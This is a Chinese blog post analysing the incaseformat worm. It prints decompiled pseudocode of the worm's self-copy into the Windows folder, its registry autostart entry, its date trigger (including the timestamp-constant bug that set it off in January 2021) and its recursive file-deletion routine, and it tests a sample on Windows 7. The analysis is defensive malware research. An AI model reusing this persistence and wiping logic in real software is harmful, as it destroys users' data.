incaseformat病毒分析

愚人节病毒 ???

不同于熊猫烧香 彩虹猫 之前的钉_钉病毒,
2021年1月13号 incaseformat蠕虫病毒来袭,会自动复制到windows目录下,并写入注册表,重启电脑后,病毒会遍历除了系统盘外的所有磁盘进行删除。

钉_钉病毒

病毒检出率

在这里插入图片描述

病毒行为分析

PEID分析
在这里插入图片描述

使用Borland Delphi 6.0 - 7.0 [Overlay]编写

先查看字符串信息
进行定位
在这里插入图片描述

危险函数相关代码

int TForm1_FormCreate()
{
  __writefsdword(0, (unsigned int)&v17);
  System::ParamStr(0);
  Sysutils::ExtractFilePath(v43);
  System::ParamStr(0);
  Sysutils::ExtractFileName(v40);
  v14 = unknown_libname_69(v41) - 4;
  System::ParamStr(0);
  Sysutils::ExtractFileName(v39);
  System::__linkproc__ LStrCopy(&v42);
  System::__linkproc__ LStrCat(&System::AnsiString, v42);
  if ( (unsigned __int8)Sysutils::DirectoryExists(System::AnsiString) )
  {
    System::ParamStr(0);
    Sysutils::ExtractFilePath(v37);
    System::ParamStr(0);
    Sysutils::ExtractFileName(v34);
    unknown_libname_69(v35);
    System::ParamStr(0);
    Sysutils::ExtractFileName(v33);
    System::__linkproc__ LStrCopy(&v36);
    System::__linkproc__ LStrCatN(&v38, 3, v0, v36, &str___16[1]);
    v1 = (const CHAR *)System::__linkproc__ LStrToPChar(v38);
    ShellExecuteA(0, 0, v1, 0, 0, 1);
  }
  if ( !(unsigned __int8)Sysutils::FileExists((const int)&str_C__windows_tsay[1]) )
  {
    System::ParamStr(0);
    v2 = (const CHAR *)System::__linkproc__ LStrToPChar(v32);
    CopyFileA(v2, "C:\\windows\\tsay.exe", -1);
    v3 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);
    Registry::TRegistry::SetRootKey(v3, 0x80000002);
    LOBYTE(v4) = 1;
    Registry::TRegistry::OpenKey(v3, (const int)&str_SOFTWARE_Micros[1], v4);
    Registry::TRegistry::WriteString(v3, &str_msfsa[1], &str_C__windows_tsay[1]);
    Registry::TRegistry::CloseKey(v3);
    v5 = System::TObject::Free(v3);
    System::__linkproc__ Halt0(v5);
  }
  v16 = &savedregs;
  v15 = &loc_44F1A6;
  v14 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v14);
  System::ParamStr(0);
  v6 = (const CHAR *)System::__linkproc__ LStrToPChar(v31);
  CopyFileA(v6, "C:\\windows\\tsay.exe", 0);
  __writefsdword(0, v14);
  v16 = &savedregs;
  v15 = &loc_44F20F;
  v14 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v14);
  v7 = (Registry::TRegistry *)Registry::TRegistry::TRegistry((Registry::TRegistry *)dword_4259E4);
  Registry::TRegistry::SetRootKey(v7, 0x80000002);
  LOBYTE(v8) = 1;
  Registry::TRegistry::OpenKey(v7, (const int)&str_SOFTWARE_Micros[1], v8);
  Registry::TRegistry::WriteString(v7, &str_msfsa[1], &str_C__windows_tsay[1]);
  Registry::TRegistry::CloseKey(v7);
  System::TObject::Free(v7);
  __writefsdword(0, v14);
  System::ParamStr(0);
  Sysutils::UpperCase(v29);
  v16 = v30;
  Sysutils::UpperCase((const int)&str_C__windows_tsay[1]);
  System::__linkproc__ LStrCmp(v16, v28);
  if ( v9 )
  {
    v16 = &savedregs;
    v15 = &loc_44F2C5;
    v14 = __readfsdword(0);
    __writefsdword(0, (unsigned int)&v14);
    System::ParamStr(0);
    v11 = (const CHAR *)System::__linkproc__ LStrToPChar(v24);
    CopyFileA(v11, "C:\\windows\\ttry.exe", 0);
    __writefsdword(0, v14);
    v12 = ShellExecuteA(0, 0, "C:\\windows\\ttry.exe", 0, 0, 0);
    System::__linkproc__ Halt0(v12);
  }
  System::ParamStr(0);
  Sysutils::UpperCase(v26);
  v16 = v27;
  Sysutils::UpperCase((const int)&str_C__windows_ttry[1]);
  v10 = System::__linkproc__ LStrCmp(v16, v25);
  if ( !v9 )
    System::__linkproc__ Halt0(v10);
  __writefsdword(0, v17);
  __writefsdword(0, (unsigned int)v21);
  v23 = &loc_44F32B;
  return System::__linkproc__ LStrArrayClr(&v24, 24);
}

其中 CopyFileA(v6, “C:\windows\tsay.exe”, 0);
与 CopyFileA(v11, “C:\windows\ttry.exe”, 0);
__writefsdword(0, v14);
v12 = ShellExecuteA(0, 0, “C:\windows\ttry.exe”, 0, 0, 0);

会先进行判断文件是否存在,将其写入注册表设置为开机自启,并将程序拷贝到 C盘Windows下
ShellExecuteA函数是windows的API函数,功能是执行可执行文件(exe)或任何关联文件(doc、txt、xls等)。
ShellExecute是异步执行的,不管执行的程序是否成功运行,运行的时间是长是短,ShellExecute函数都会立即返回。即执行ttry.exe程序
之后定位下一个函数

int __usercall TForm1_Timer2Timer@<eax>(int a1@<eax>, long double a2@<st0>)
{
  int v2; // edx@1
  int v3; // ebx@9
  signed int v4; // esi@10
  unsigned int v5; // edx@12
  unsigned int v7; // [sp-18h] [bp-44h]@1
  void *v8; // [sp-14h] [bp-40h]@1
  int *v9; // [sp-10h] [bp-3Ch]@1
  unsigned int v10; // [sp-Ch] [bp-38h]@1
  void *v11; // [sp-8h] [bp-34h]@1
  int *v12; // [sp-4h] [bp-30h]@1
  int v13; // [sp+Ch] [bp-20h]@1
  System::TObject *v14; // [sp+10h] [bp-1Ch]@1
  unsigned __int16 v15; // [sp+16h] [bp-16h]@1
  unsigned __int16 v16; // [sp+18h] [bp-14h]@1
  long double System::TDateTime; // [sp+1Ah] [bp-12h]@1
  int v18; // [sp+28h] [bp-4h]@1
  int savedregs; // [sp+2Ch] [bp+0h]@1

  v13 = 0;
  v18 = a1;
  v12 = &savedregs;
  v11 = &loc_44EFA1;
  v10 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v10);
  unknown_libname_426(*(_DWORD *)(a1 + 764), 0);
  v9 = &savedregs;
  v8 = &loc_44EF84;
  v7 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v7);
  LOBYTE(v2) = 1;
  v14 = (System::TObject *)unknown_libname_42(cls_Classes_TStringList, v2);
  Sysutils::Now();
  *(double *)((char *)&System::TDateTime + 2) = a2;
  sub_44E5C8(&v14);
  Sysutils::DecodeDate(
    (const int)&System::TDateTime,
    &v16,
    &v15,
    *(unsigned __int16 **)((char *)&System::TDateTime + 2));
  if ( LOWORD(System::TDateTime) > 0x7D9u )
  {
    if ( v16 > 3u )
    {
      if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )
      {
        v3 = (*(int (**)(void))(*(_DWORD *)v14 + 20))() - 1;
        if ( v3 > 0 )
        {
          v4 = 1;
          do
          {
            (*(void (__fastcall **)(System::TObject *, signed int, int *))(*(_DWORD *)v14 + 12))(v14, v4, &v13);
            sub_44EC70(v13);
            ++v4;
            --v3;
          }
          while ( v3 );
        }
      }
      System::TObject::Free(v14);
      v5 = v7;
      __writefsdword(0, v7);
      v9 = (int *)&loc_44EF8B;
      LOBYTE(v5) = 1;
      unknown_libname_426(*(_DWORD *)(v18 + 764), v5);
    }
    else
    {
      System::__linkproc__ TryFinallyExit(v7, v8, v9);
    }
  }
  else
  {
    System::__linkproc__ TryFinallyExit(v7, v8, v9);
  }
  __writefsdword(0, v10);
  v12 = (int *)&loc_44EFA8;
  return System::__linkproc__ LStrClr(&v13);
}

着重关注判断语句
在这里插入图片描述

if ( LOWORD(System::TDateTime) > 2009u )
获取到系统时间,如果年份大于2009
if ( v16 > 3u )
如果月份大于3
if ( v15 == 1 || v15 == 10 || v15 == 21 || v15 == 29 )
如果日期等于1 或 等于10 或等于21 或等于29
就会触发 sub_44ec70
但是这段代码上方
在这里插入图片描述
会通过获取到当前时间之后,通过DecodeDate对时间进行处理

int __fastcall Sysutils::DecodeDate(const int System::TDateTime, unsigned __int16 *a2, unsigned __int16 *a3, int a4, unsigned __int16 *a5)
{
  unsigned __int16 v6; // [sp+6h] [bp-2h]@1

  return Sysutils::DecodeDateFully(System::TDateTime, a2, a3, a5, &v6);
}

具体算法如下:

int __fastcall Sysutils::DecodeDateFully(const int System::TDateTime, unsigned __int16 *a2, unsigned __int16 *a3, __int64 a4, unsigned __int16 *a5)
{
  v20 = (unsigned __int16 *)System::TDateTime;
  Sysutils::DateTimeToTimeStamp(*(double *)&a4);
  if ( v14 > 0 )
  {
    *a5 = v14 % 7 + 1;
    v6 = v14 - 1;
    for ( i = 1; v6 >= 146097; i += 400 )
      v6 -= 146097;
    unknown_libname_101(&v17);
    if ( v15 == 4 )
    {
      v15 = 3;
      v17 -= 29012;
    }
    unknown_libname_101(&v17);
    v8 = 4 * v15 + 100 * v15 + i;
    unknown_libname_101(&v17);
    if ( v15 == 4 )
    {
      v15 = 3;
      v17 += 365;
    }
    v9 = v15 + v8;
    v10 = Sysutils::IsLeapYear(v9);
    v5 = v10;
    v11 = (char *)&unk_4500DC + 24 * (unsigned __int8)v10;
    for ( j = 1; ; ++j )
    {
      v16 = *(_WORD *)&v11[2 * (unsigned __int16)j - 2];
      if ( v17 < v16 )
        break;
      v17 -= v16;
    }
    *v20 = v9;
    *v19 = j;
    *v18 = v17 + 1;
  }
  else
  {
    *v20 = 0;
    *v19 = 0;
    *v18 = 0;
    *a5 = 0;
    v5 = 0;
  }
  return v5;
}

导致算法执行后的结构与预期不符,原本会是2010年4月1号愚人节启动,缺阴差阳错的成了2021年1月13号执行,那么下次就是1月23和2月4号
具体原因是DateTimeToTimeStamp这个函数中出现了变量异常

int __fastcall Sysutils::DateTimeToTimeStamp(int a1, int a2, int a3, double a4)
{
  int v4; // ecx@1
  unsigned __int64 v5; // rax@1
  int v6; // edx@2
  unsigned __int64 v7; // rtt@2
  int v8; // eax@2
  unsigned __int64 v9; // rt2@3
  int result; // eax@4

  v4 = a1;
  v5 = (signed __int64)(a4 * flt_45017C);
  if ( SHIDWORD(v5) >= 0 )
  {
    v9 = v5 % (unsigned int)dword_450180;
    v8 = v5 / (unsigned int)dword_450180;
    v6 = v9;
  }
  else
  {
    LODWORD(v5) = -(signed int)v5;
    LODWORD(v7) = v5;
    HIDWORD(v7) = -HIDWORD(v5) - ((_DWORD)v5 != 0);
    v6 = v7 % (unsigned int)dword_450180;
    v8 = -(signed int)(v7 / (unsigned int)dword_450180);
  }
  result = v8 + 693594;
  *(_DWORD *)v4 = v6;
  *(_DWORD *)(v4 + 4) = result;
  return result;
}

这里的dword_450180 按照设计者最初的设想,其时间戳转日的值应该是 86400000ms 而这里是94854340
在这里插入图片描述

导致计算出的数值错误。
接下来看,程序对硬盘的操作

char __fastcall sub_44EC70(int a1)
{
   System::__linkproc__ LStrAddRef();
  unknown_libname_74(&FatTime, &byte_406E1C);
  v9 = &savedregs;
  v8 = &loc_44EE40;
  v7 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v7);
  v6 = &savedregs;
  v5 = &loc_44EDF7;
  v4 = __readfsdword(0);
  __writefsdword(0, (unsigned int)&v4);
  v1 = unknown_libname_69(v18);
  if ( *(_BYTE *)(v18 + v1 - 1) != 92 )
    System::__linkproc__ LStrCat(&v18, &str___15[1]);
  System::__linkproc__ LStrCat3(&v16, v18, &str_____0[1]);
  if ( !Sysutils::FindFirst(v16, 63, &FatTime) )
  {
    do
    {
      System::__linkproc__ LStrCmp(v15, &str___2[1]);
      if ( !v2 )
      {
        System::__linkproc__ LStrCmp(v15, &str____0[1]);
        if ( !v2 )
        {
          if ( v14 & 0x10 )
          {
            System::__linkproc__ LStrCat3(&v12, v18, v15);
            if ( !(unsigned __int8)sub_44EC70(v12) )
              v17 = 0;
          }
          else
          {
            System::__linkproc__ LStrCat3(&System::AnsiString, v18, v15);
            Sysutils::FileSetAttr(System::AnsiString, 0);
            System::__linkproc__ LStrCat3(&v10, v18, v15);
            Sysutils::DeleteFile(v10);
          }
        }
      }
    }
    while ( !Sysutils::FindNext(&FatTime) );
    Sysutils::FindClose(&FatTime);
  }
  Sysutils::FileSetAttr(v18, 0);
  v17 = (unsigned __int8)Sysutils::RemoveDir(v18) != 0;
  __writefsdword(0, v4);
  __writefsdword(0, v7);
  v9 = (int *)&loc_44EE47;
  System::__linkproc__ LStrArrayClr(&v10, 3);
  System::__linkproc__ FinalizeRecord(&FatTime, &byte_406E1C);
  System::__linkproc__ LStrClr(&v16);
  System::__linkproc__ LStrClr(&v18);
  return v17;
}

函数的主要功能是根据前缀路径 “.”匹配所有的文件,循环删除,遇到文件夹会进行递归删除
在这里插入图片描述

目前某招聘网站已被感染

网站存在文件上传漏洞,已经有病毒样本 2019年已被爆出 但目前依然可以下载
在这里插入图片描述
在这里插入图片描述

下载后的样本 与原病毒样本对比
在这里插入图片描述

使用IDA进行查看
在这里插入图片描述

可以确定为同一病毒
其病毒行为与原病毒行为一样
程序的图标同Windows的文件夹,错误点击后可能会弹窗报错,Windows7 测试,未报错。

在这里插入图片描述

电脑重启前
在这里插入图片描述

重启后 发现E盘占用空间依然有,但是文件以及没有了
在这里插入图片描述

windows7下出现的一些问题
在这里插入图片描述

PCHunter打开
在这里插入图片描述

能看到其运行的进程 ,原有执行文件已经消失

这个病毒对我没有危害: 因为我Windows只有C盘,个人感觉 固态硬盘 分区的意义好像不大

最后 一张图收尾 :

在这里插入图片描述

在这里插入图片描述
以前阅读量不到k现在 目前阅读量已经 100k+了 奥利给 !!!

  • 8
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值